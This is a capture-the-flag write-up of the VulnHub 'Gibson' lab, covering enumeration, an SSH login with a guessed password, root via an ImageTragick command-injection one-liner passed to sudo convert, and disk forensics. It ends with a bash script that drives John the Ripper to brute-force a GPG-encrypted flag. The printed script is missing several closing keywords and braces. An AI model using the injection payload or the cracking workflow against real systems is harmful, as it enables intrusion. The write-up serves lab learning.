Gibson is a boot2root created by Knightmare with a heavy 1988 Hackers theme; one of my favourite movies!

Discovery & Enumeration

The usual netdiscover and nmap to get an idea of what we are dealing with…

root@kali:~# mkcd VulnHub/Gibson
root@kali:~/VulnHub/Gibson# netdiscover -pr
 Currently scanning: (passive)   |   Screen View: Unique Hosts

 1 Captured ARP Req/Rep packets, from 1 hosts.   Total size: 60
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------     08:00:27:2c:de:ec      1      60  Cadmus Computer Systems
root@kali:~/VulnHub/Gibson# echo > ip
root@kali:~/VulnHub/Gibson# nmap -A -T5 $(cat ip)
Starting Nmap 7.12 ( ) at 2016-06-28 20:53 BST
Nmap scan report for (
Host is up (0.00030s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 fb:f6:d1:57:64:fa:38:66:2d:66:40:12:a4:2f:75:b4 (DSA)
|   2048 32:13:58:ae:32:b0:5d:b9:2a:9c:87:9c:ae:79:3b:2e (RSA)
|_  256 3f:dc:7d:94:2f:86:f1:83:41:db:8c:74:52:f0:49:43 (ECDSA)
80/tcp open  http    Apache httpd 2.4.7
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 273   2016-05-07 13:03  davinci.html
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /
MAC Address: 08:00:27:2C:DE:EC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.4
Network Distance: 1 hop
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.30 ms (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds

SSH and a somewhat baron web server, not a lot but something to work with.

root@kali:~/VulnHub/Gibson# http $(cat ip)/davinci.html
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 212
Content-Type: text/html
Date: Tue, 28 Jun 2016 22:52:28 GMT
ETag: "111-5323f5cc983b6-gzip"
Keep-Alive: timeout=5, max=100
Last-Modified: Sat, 07 May 2016 12:03:24 GMT
Server: Apache/2.4.7 (Ubuntu)
Vary: Accept-Encoding

<title>Gibson Mining Corporation</title>
<!-- Damn it Margo! Stop setting your password to "god" -->
<!-- at least try and use a different one of the 4 most -->
<!-- common ones! (eugene) -->
<h1> The answer you seek will be found by brute force</h1>

It looks like we have two clues here: Margo's password is probably "god" (or "love" or "sex" or "secret") and we'll need to using some brute forcing at some point.

I wonder if Margo got the message about not using "god" yet...

root@kali:~/VulnHub/Gibson# ssh margo@$(cat ip)
Ubuntu 14.04.3 LTS
margo@'s password: god

Apparently not! But is Margo really God?

margo@gibson:~$ id
uid=1002(margo) gid=1002(margo) groups=1002(margo),27(sudo)
margo@gibson:~$ sudo -l
Matching Defaults entries for margo on gibson:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User margo may run the following commands on gibson:
    (ALL) NOPASSWD: /usr/bin/convert

Not quite, but the explicit inclusion of ImageMagick's convert feels like a clue.


margo@gibson:~$ convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: OpenMP
root@kali:~/VulnHub/Gibson# searchsploit imagemagick
------------------------------------------------------------------------------------------- ----------------------------------
 Exploit Title                                                                             |  Path
                                                                                           | (/usr/share/exploitdb/platforms)
------------------------------------------------------------------------------------------- ----------------------------------
GeekLog 2.x - ImageImageMagick.php Remote File Inclusion Vulnerability                     | ./php/webapps/3946.txt
ImageMagick 6.x - .PNM Image Decoding Remote Buffer Overflow Vulnerability                 | ./linux/dos/25527.txt
ImageMagick 6.x - .SGI Image File Remote Heap Buffer Overflow Vulnerability                | ./linux/dos/28383.txt
ImageMagick 6.8.8-4 - Local Buffer Overflow (SEH)                                          | ./windows/local/
ImageMagick <= 6.9.3-9 / <= 7.0.1-0 - Multiple Vulnerabilities (ImageTragick)              | ./multiple/dos/39767.txt
ImageMagick <= 6.9.3-9 / <= 7.0.1-0 - Delegate Arbitrary Command Execution (ImageTragick)  | ./multiple/local/39791.rb
------------------------------------------------------------------------------------------- ----------------------------------
root@kali:~/VulnHub/Gibson# getsploit 39767
'/usr/share/exploitdb/platforms/multiple/dos/39767.txt' -> './39767.txt'

You know a vulnerability is going to be tasty if it has a fancy name ;-) ImageTragick arbitrary command execution sounds ideal. Perusing the txt file tells us all we need to know.

margo@gibson:~$ sudo convert 'https://";/bin/bash"' /dev/null
root@gibson:~# id
uid=0(root) gid=0(root) groups=0(root)

Of Flags & Rabbit Holes

There were no obvious flags (as hinted at in the VM description!), so I looked for any other services that might be running which revealed something quite interesting.

root@gibson:~# netstat -anl | grep LISTEN
tcp        0      0*               LISTEN
tcp        0      0*               LISTEN

The apparent dns server on an alternative subnet indicates there could be a virtualised guest on the machine, easily verified by checking out the network config and running processes:

root@gibson:~# ifconfig
virbr0    Link encap:Ethernet  HWaddr fe:54:00:72:e2:fb
          inet addr:  Bcast:  Mask:
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:12 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1053 (1.0 KB)  TX bytes:1553 (1.5 KB)

vnet0     Link encap:Ethernet  HWaddr fe:54:00:72:e2:fb
          inet6 addr: fe80::fc54:ff:fe72:e2fb/64 Scope:Link
          RX packets:6 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6197 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500
          RX bytes:1137 (1.1 KB)  TX bytes:323405 (323.4 KB)

root@gibson:~# ps aux | grep virt
root      1114  0.0  1.3 372424 19864 ?        Sl   Jun28   0:00 /usr/sbin/libvirtd -d
libvirt+  1300  0.0  0.1  28212  2416 ?        S    Jun28   0:00 /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf
libvirt+  1311  0.3  7.4 841876 113772 ?       Sl   Jun28   0:37 /usr/bin/qemu-system-x86_64 -name ftpserv -S -machine pc-i440fx-trusty,accel=tcg,usb=off -m 256 -realtime mlock=off -smp 1,sockets=1,cores=1,threads=1 -uuid ebcdaa6c-b10a-d758-c13a-0fb296b011f1 -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/ftpserv.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -drive file=/var/lib/libvirt/images/ftpserv.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=2 -drive if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:72:e2:fb,bus=pci.0,addr=0x3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device intel-hda,id=sound0,bus=pci.0,addr=0x4 -device hda-duplex,id=sound0-codec0,bus=sound0.0,cad=0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x5

So we have a guest machine running from /var/lib/libvirt/images/ftpserv.img, I could probe the VNC service which is presumably mapped to the running guest but it is easier to cut out the middle man and inspect the disk directly (I knew that forensics class would come in handy!).

root@gibson:~# (cd /var/lib/libvirt/images; python -m SimpleHTTPServer)
Serving HTTP on port 8000 ...
root@kali:~/VulnHub/Gibson# wget -q $(cat ip):8000/ftpserv.img
root@kali:~/VulnHub/Gibson# mmls ftpserv.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000000062   0000000063   Unallocated
002:  000:000   0000000063   0001048319   0001048257   Win95 FAT16 (0x0e)
003:  -------   0001048320   0001048575   0000000256   Unallocated
root@kali:~/VulnHub/Gibson# fls -f fat16 -o 63 -pr ftpserv.img | grep -i flag
r/r 845580: GARBAGE/flag.img
root@kali:~/VulnHub/Gibson# icat -f fat16 -o63 ./ftpserv.img 845580 > flag.img
root@kali:~/VulnHub/Gibson# file flag.img
flag.img: Linux rev 1.0 ext2 filesystem data, UUID=d59bdd40-ec37-4d24-a956-80f549846121

Getting closer, lets mount this filesystem and see whats inside.

root@kali:~/VulnHub/Gibson# mount flag.img /mnt
root@kali:~/VulnHub/Gibson# find /mnt -type f

A hint and an encrypted flag! This feels promising.

root@kali:~/VulnHub/Gibson# cat /mnt/hint.txt and have
someone in common... Can you remember his
original nom de plume in 1988...?

Who do Hackers and Trainspotting have in common? Jonny Lee Miller! And his nom de plume in Hackers? We all know that...

root@kali:~/VulnHub/Gibson# gpg --batch --passphrase "Zero Cool" --decrypt /mnt/.trash/flag.txt.gpg
gpg: CAST5 encrypted data
gpg: encrypted with 1 passphrase
gpg: decryption failed: bad key

D'oh! Looks like that second clue is coming back around.

"The answer you seek will be found by brute force"

So Close & Yet So Far

This is where things get complicated. There aren't many tools out there for brute forcing symmetrically encrypted gpg files, although jtr did add support recently it hasn't made it to kali yet. Compilation was simple enough and documented well, so I won't go over it here.

Once I was armed with the bleeding-edge version of john-jumbo, I hit another hurdle. My ciphertext is too big! I updated src/params.h setting LINE_BUFFER_SIZE to 0x1000 and recompiled. Now I was ready to convert the flag into a format john can attack using the gpg2john util.

root@kali:~/VulnHub/Gibson# ~/src/JohnTheRipper/run/gpg2john /mnt/.trash/flag.txt.gpg > flag.john
[gpg2john] MDC is misssing, expect false positives!

False positives?! More hurdles! At first I figured they'd be few and far between, but what did I know? After a few attempts and john repeatedly throwing up false positives I knocked together a bash script to remove false positives from the dictionary and keep trying until we strike gold.

set -euo pipefail


function build_wordlist() {
    local filename=$1; shift
    local baseword=$1; shift
    local wordlistcmd="echo $baseword"
    for ruleset in "$@"; do
        wordlistcmd="${wordlistcmd} | john --pipe --rules=${ruleset} --stdout 2>/dev/null"
    echo "Building wordlist from \"$baseword\"..."
    eval "$wordlistcmd" | sort -u >"$filename"

function prepare_flag() {
    local flag=$1
    local out=$2
    $john/gpg2john "$flag" >"$out" 2>/dev/null

function crack_flag() {
    local flag=$1
    local john_flag=$2
    local wordlist=$3
    while true; do
        $john/john --wordlist="$wordlist" "$john_flag" >/dev/null 2>&1
        candidate=$($john/john --show "$john_flag" 2>/dev/null | head -1 | cut -d: -f2)
        if [ "$candidate" = "0 password hashes cracked, 1 left" ]; then
            echo "Wordlist exhausted, failed"
            return 2
        echo "Testing Candidate \"$candidate\""
        flag_text=$(gpg --passphrase "$candidate" --decrypt "$flag" 2>/dev/null) || true
        if [ ! -z "$flag_text" ]; then
            echo "Confirmed Passphrase: \"${candidate}\""
            echo "${flag_text}"
            return 0
        rm -f $john/john.pot
        sed -i'' -e /^"${candidate}"$/d "$wordlist"

function usage() {
    echo "$0 <flag> <baseword> [rules]"

function main() {
    # commandline args
    local flag=$1; shift
    local baseword=$1; shift
    local rules=$*
    # temp files
    local john_flag
    john_flag=$(mktemp /tmp/flag.XXXXXX)
    local wordlist
    wordlist=$(mktemp /tmp/wordlist.XXXXXX)
    prepare_flag "$flag" "$john_flag"
    build_wordlist "$wordlist" "$baseword" $rules
    crack_flag "$flag" "$john_flag" "$wordlist"
    rm -f "$john_flag" "$wordlist"

if [ -z "$3" ]; then
    main "$@"

And once I added the "L33t" ruleset to my word mangling (should've been in there all along really - we are dealing with old school hackers after all), gold was indeed struck.

root@kali:~/VulnHub/Gibson# ./ /mnt/.trash/flag.txt.gpg "Zero Cool" Wordlist NT ReplaceLetters L33t
Building wordlist from "Zero Cool"...
Testing Candidate "FEro Co0|"
Testing Candidate "ser0c0o!"
Testing Candidate "Z3COcoOl"
Testing Candidate "Z3r0K00l"
Confirmed Passphrase: "Z3r0K00l"
 _   _            _      _____ _             ____  _                  _   _
| | | | __ _  ___| | __ |_   _| |__   ___   |  _ \| | __ _ _ __   ___| |_| |
| |_| |/ _` |/ __| |/ /   | | | '_ \ / _ \  | |_) | |/ _` | '_ \ / _ \ __| |
|  _  | (_| | (__|   <    | | | | | |  __/  |  __/| | (_| | | | |  __/ |_|_|
|_| |_|\__,_|\___|_|\_\   |_| |_| |_|\___|  |_|   |_|\__,_|_| |_|\___|\__(_)

Should you not be standing in a 360 degree rotating payphone when reading
this flag...? B-)

Anyhow, congratulations once more on rooting this VM. This time things were
a bit esoteric, but I hope you enjoyed it all the same.

Shout-outs again to #vulnhub for hosting a great learning tool. A special
thanks goes to g0blin and GKNSB for testing, and to g0tM1lk for the offer
to host the CTF once more.


Thanks to Knightmare for a great CTF; root isn't even half of the challenge, and it keeps teasing you with success before you finally arrive there. Kudos!